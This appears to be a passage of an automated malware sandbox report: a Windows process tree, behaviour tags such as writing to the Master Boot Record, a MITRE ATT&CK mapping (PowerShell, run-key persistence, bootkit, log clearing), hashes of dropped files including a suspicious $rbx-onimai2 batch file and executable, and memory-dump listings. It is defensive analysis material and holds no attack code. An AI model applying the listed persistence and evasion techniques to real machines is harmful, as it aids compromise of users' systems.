C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc
1⤵
PID:5080

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:2860

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe db683003544df5d4040a574512d5edb7 rSNAEdn3vkOehzecddjF9A.0.1.0.0.0
1⤵
- Sets service image path in registry
- Modifies data under HKEY_USERS
PID:4108
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:3968

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Writes to the Master Boot Record (MBR)
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:1688

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
PID:4524

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:2380

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:3260

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:3092

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:2428

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDBF8.tmp.csv

Filesize
37KB

MD5
f81b681c3b75a956959c921521d73356

SHA1
eb4a8cab3ec78e1171f18c15509115f2736336d8

SHA256
acbfd64369e7e3770d44afd3178493dbcd2b130bbbb3f9034b88b32c444c20c2

SHA512
5aeab6cdb9c6f742386bace91019b8d0408345846cc07ef3822d6e8e730b6632ece5e5f7b2acc1e156d8442f43a2c04eb6cb3467eb693a075324229888259392

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WERDC09.tmp.txt

Filesize
13KB

MD5
4d4ff698b56a6c90cc06dfef8754e849

SHA1
a506c6aaffc0b6106b563fdcc9e6d7df3db40553

SHA256
e29330127f97b50e282335b3637758200f8773088b67007dd58fc7e0cb6d26d5

SHA512
8efa38974645f9b66c9e332210cc8882674ba6165a9c0b2e8fdac06fea75d944a76ca706de57864abbddec3b12add92a2be01e13044400d934dba1cbb5647830

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Filesize
328B

MD5
ea93a4d701be10ad5ce877f00f05827d

SHA1
68529b05e55c7ef3d92cdbefa47ff0ee7dc2cd5f

SHA256
dd9fc0cbcfe5e85627bf324b6aa1398e90ea17ea6438d98ac27da71e4315fabf

SHA512
f122eeced8b104c0faf951867e2eab204a9bbaa5d7cf5ef1d2a5cd26773bae9f210be5a22f4a8d0e72533c22b7be812d67ec32d68c0936963d8e0d2681dcbb2b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
074db3a6469346f0984db93d9f6f0d8f

SHA1
cac8e72e2ebb92188242a02b79ea5f6b28e3eb22

SHA256
1f4b297a5c35acc494b9726b1f8d389f82ccb2bc2cd6caf4befafa440529005f

SHA512
dcbd3ca1ac5541fa78b21dc55d02a49d40292d6555bc88b9bda87d3f68618b39aa0688ffb6284111c6628fd2df818ca439e7f690fe2eedd44ace72d420b985b4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
2KB

MD5
78e97326031132b73494010cd087ee81

SHA1
03d6e56ec4a1199cfbdaef4ce359121284f5bfee

SHA256
42d4af0b22b8e1b953535101b7548981d3b0d4e0c01abdc7ea71830193ff8299

SHA512
324002ea7474cfd9cea72906e2ad8234cb27acd8e109996d8ccf748edb7150d1f254012354c4e7a29212930c3c0288082fed905b4ad0b9f16f2886887f3b6620

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lnev2li3.kmh.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\$nya-onimai2\wHesLT.exe

Filesize
36KB

MD5
b943a57bdf1bbd9c33ab0d33ff885983

SHA1
1cee65eea1ab27eae9108c081e18a50678bd5cdc

SHA256
878df6f755578e2e79d0e6fd350f5b4430e0e42bb4bc8757afb97999bc405ba4

SHA512
cb7253de88bd351f8bcb5dc0b5760d3d2875d39f601396a4250e06ead9e7edeffcd94fa23f392833f450c983a246952f2bad3a40f84aff2adc0f7d0eb408d03c

Download Submit
C:\Windows\$rbx-onimai2\$rbx-CO2.bat

Filesize
7.2MB

MD5
2c3d8aae15c19f224cb8258dc002fb53

SHA1
5797ad1149d6be6cbbb76df18abfa32e28cbc6a0

SHA256
c96f6d22a11588fb645f45821a151ee6cce413cfc3b80a62f3717cc2ba809247

SHA512
65e76fffd292b0cc442af65082fd5c7e2685c6bc9cbaa0597972598063e07a5ec2b8cf581d6d479e8266cecd984b7209b94f73b295b8f0fd661292583c19e9a7

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

Filesize
2KB

MD5
8abf2d6067c6f3191a015f84aa9b6efe

SHA1
98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7

SHA256
ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea

SHA512
c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

Filesize
2KB

MD5
f313c5b4f95605026428425586317353

SHA1
06be66fa06e1cffc54459c38d3d258f46669d01a

SHA256
129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

SHA512
b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
2KB

MD5
ceb7caa4e9c4b8d760dbf7e9e5ca44c5

SHA1
a3879621f9493414d497ea6d70fbf17e283d5c08

SHA256
98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9

SHA512
1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
2KB

MD5
7d612892b20e70250dbd00d0cdd4f09b

SHA1
63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

SHA256
727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

SHA512
f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
1e8e2076314d54dd72e7ee09ff8a52ab

SHA1
5fd0a67671430f66237f483eef39ff599b892272

SHA256
55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f

SHA512
5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
0b990e24f1e839462c0ac35fef1d119e

SHA1
9e17905f8f68f9ce0a2024d57b537aa8b39c6708

SHA256
a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

SHA512
c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

Download Submit
memory/64-78-0x0000021640B60000-0x0000021640B8A000-memory.dmp

Filesize
168KB

Download
memory/612-38-0x00000209412A0000-0x00000209412CA000-memory.dmp

Filesize
168KB

Download
memory/612-41-0x00000209412A0000-0x00000209412CA000-memory.dmp

Filesize
168KB

Download
memory/612-39-0x00000209412A0000-0x00000209412CA000-memory.dmp

Filesize
168KB

Download
memory/612-40-0x00000209412A0000-0x00000209412CA000-memory.dmp

Filesize
168KB

Download
memory/612-33-0x00000209412A0000-0x00000209412CA000-memory.dmp

Filesize
168KB

Download
memory/612-32-0x00000209412A0000-0x00000209412CA000-memory.dmp

Filesize
168KB

Download
memory/612-44-0x00000209412A0000-0x00000209412CA000-memory.dmp

Filesize
168KB

Download
memory/612-43-0x00007FF8B9F10000-0x00007FF8B9F20000-memory.dmp

Filesize
64KB

Download
memory/612-42-0x00000209412A0000-0x00000209412CA000-memory.dmp

Filesize
168KB

Download
memory/612-31-0x0000020941270000-0x0000020941294000-memory.dmp

Filesize
144KB

Download
memory/668-58-0x00007FF8B9F10000-0x00007FF8B9F20000-memory.dmp

Filesize
64KB

Download
memory/668-59-0x0000023269740000-0x000002326976A000-memory.dmp

Filesize
168KB

Download
memory/668-48-0x0000023269740000-0x000002326976A000-memory.dmp

Filesize
168KB

Download
memory/668-53-0x0000023269740000-0x000002326976A000-memory.dmp

Filesize
168KB

Download
memory/668-54-0x0000023269740000-0x000002326976A000-memory.dmp

Filesize
168KB

Download
memory/668-55-0x0000023269740000-0x000002326976A000-memory.dmp

Filesize
168KB

Download
memory/668-56-0x0000023269740000-0x000002326976A000-memory.dmp

Filesize
168KB

Download
memory/668-57-0x0000023269740000-0x000002326976A000-memory.dmp

Filesize
168KB

Download
memory/944-68-0x000001D9725D0000-0x000001D9725FA000-memory.dmp

Filesize
168KB

Download
memory/944-73-0x00007FF8B9F10000-0x00007FF8B9F20000-memory.dmp

Filesize
64KB

Download
memory/944-74-0x000001D9725D0000-0x000001D9725FA000-memory.dmp

Filesize
168KB

Download
memory/944-69-0x000001D9725D0000-0x000001D9725FA000-memory.dmp

Filesize
168KB

Download
memory/944-70-0x000001D9725D0000-0x000001D9725FA000-memory.dmp

Filesize
168KB

Download
memory/944-71-0x000001D9725D0000-0x000001D9725FA000-memory.dmp

Filesize
168KB

Download
memory/944-72-0x000001D9725D0000-0x000001D9725FA000-memory.dmp

Filesize
168KB

Download
memory/944-63-0x000001D9725D0000-0x000001D9725FA000-memory.dmp

Filesize
168KB

Download
memory/1280-2864-0x0000022F4C140000-0x0000022F4C17C000-memory.dmp

Filesize
240KB

Download
memory/1280-2863-0x0000022F4C050000-0x0000022F4C062000-memory.dmp

Filesize
72KB

Download
memory/1280-1977-0x0000022F4CA80000-0x0000022F4CC42000-memory.dmp

Filesize
1.8MB

Download
memory/1280-1976-0x0000022F4C190000-0x0000022F4C242000-memory.dmp

Filesize
712KB

Download
memory/1280-1975-0x0000022F4C080000-0x0000022F4C0D0000-memory.dmp

Filesize
320KB

Download
memory/1280-1787-0x0000022F4B780000-0x0000022F4BEEE000-memory.dmp

Filesize
7.4MB

Download
memory/1476-1153-0x00007FF8DB080000-0x00007FF8DBB41000-memory.dmp

Filesize
10.8MB

Download
memory/1476-16-0x000001E53C2D0000-0x000001E53C716000-memory.dmp

Filesize
4.3MB

Download
memory/1476-10-0x000001E57FE40000-0x000001E57FE62000-memory.dmp

Filesize
136KB

Download
memory/1476-11-0x00007FF8DB080000-0x00007FF8DBB41000-memory.dmp

Filesize
10.8MB

Download
memory/1476-483-0x000001E53C920000-0x000001E53CC92000-memory.dmp

Filesize
3.4MB

Download
memory/1476-12-0x000001E57FFF0000-0x000001E580034000-memory.dmp

Filesize
272KB

Download
memory/1476-13-0x00007FF8DB080000-0x00007FF8DBB41000-memory.dmp

Filesize
10.8MB

Download
memory/1476-14-0x000001E5800C0000-0x000001E580136000-memory.dmp

Filesize
472KB

Download
memory/1476-15-0x000001E5017A0000-0x000001E5017DA000-memory.dmp

Filesize
232KB

Download
memory/1476-17-0x00007FF8F9E90000-0x00007FF8FA085000-memory.dmp

Filesize
2.0MB

Download
memory/1476-18-0x00007FF8F8520000-0x00007FF8F85DE000-memory.dmp

Filesize
760KB

Download
memory/1476-0-0x00007FF8DB083000-0x00007FF8DB085000-memory.dmp

Filesize
8KB

Download
memory/1540-28-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1540-20-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1540-23-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1540-25-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1540-27-0x00007FF8F8520000-0x00007FF8F85DE000-memory.dmp

Filesize
760KB

Download
memory/1540-26-0x00007FF8F9E90000-0x00007FF8FA085000-memory.dmp

Filesize
2.0MB

Download
memory/1540-19-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1540-21-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download